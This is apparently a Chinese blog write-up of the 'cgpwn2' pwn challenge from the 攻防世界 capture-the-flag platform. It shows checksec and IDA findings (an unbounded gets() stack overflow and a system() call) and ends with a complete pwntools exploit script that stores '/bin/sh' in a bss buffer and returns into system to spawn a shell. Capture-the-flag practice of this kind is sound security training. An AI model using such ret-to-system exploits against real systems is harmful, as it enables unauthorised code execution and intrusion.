攻防世界 Pwn cgpwn2

1.题目下载地址

点击下载

2.checksec分析

在这里插入图片描述
只开启了NX保护,应该不会有太多障碍
直接进IDA看一下

3.IDA分析

main函数中有一个hello函数,我们直接看hello函数
在这里插入图片描述

  • 可以看到第二个gets函数没有限制输入大小,很明显是栈溢出
  • 再看看有没有其他后门函数
    在这里插入图片描述
    看到有一个pwn函数中调用了system
    在这里插入图片描述
    而且第一个gets函数输入的name正好是处于bss段
    那么我们可以写命令到name
    然后找到这个地址,利用简单ROP

3.1.看一下溢出大小

老规矩还是cyclic
在这里插入图片描述
然后找到sys地址
在这里插入图片描述
接下来就是构造payload了

4.exp

from pwn import *
r = process('./cgpwn2')
#r = remote('111.198.29.45',51186)
target = 0x804855A

binsh = 0x804A080

payload = 'a' * 42 + p32(target) + p32(binsh)

a = r.recvuntil('e\n')
r.sendline('/bin/sh')
a = r.recvuntil(':\n')
r.sendline(payload)
r.interactive()

4.1.运行结果

在这里插入图片描述
可以看到已经顺利拿到本机权限了

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

==Microsoft==

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值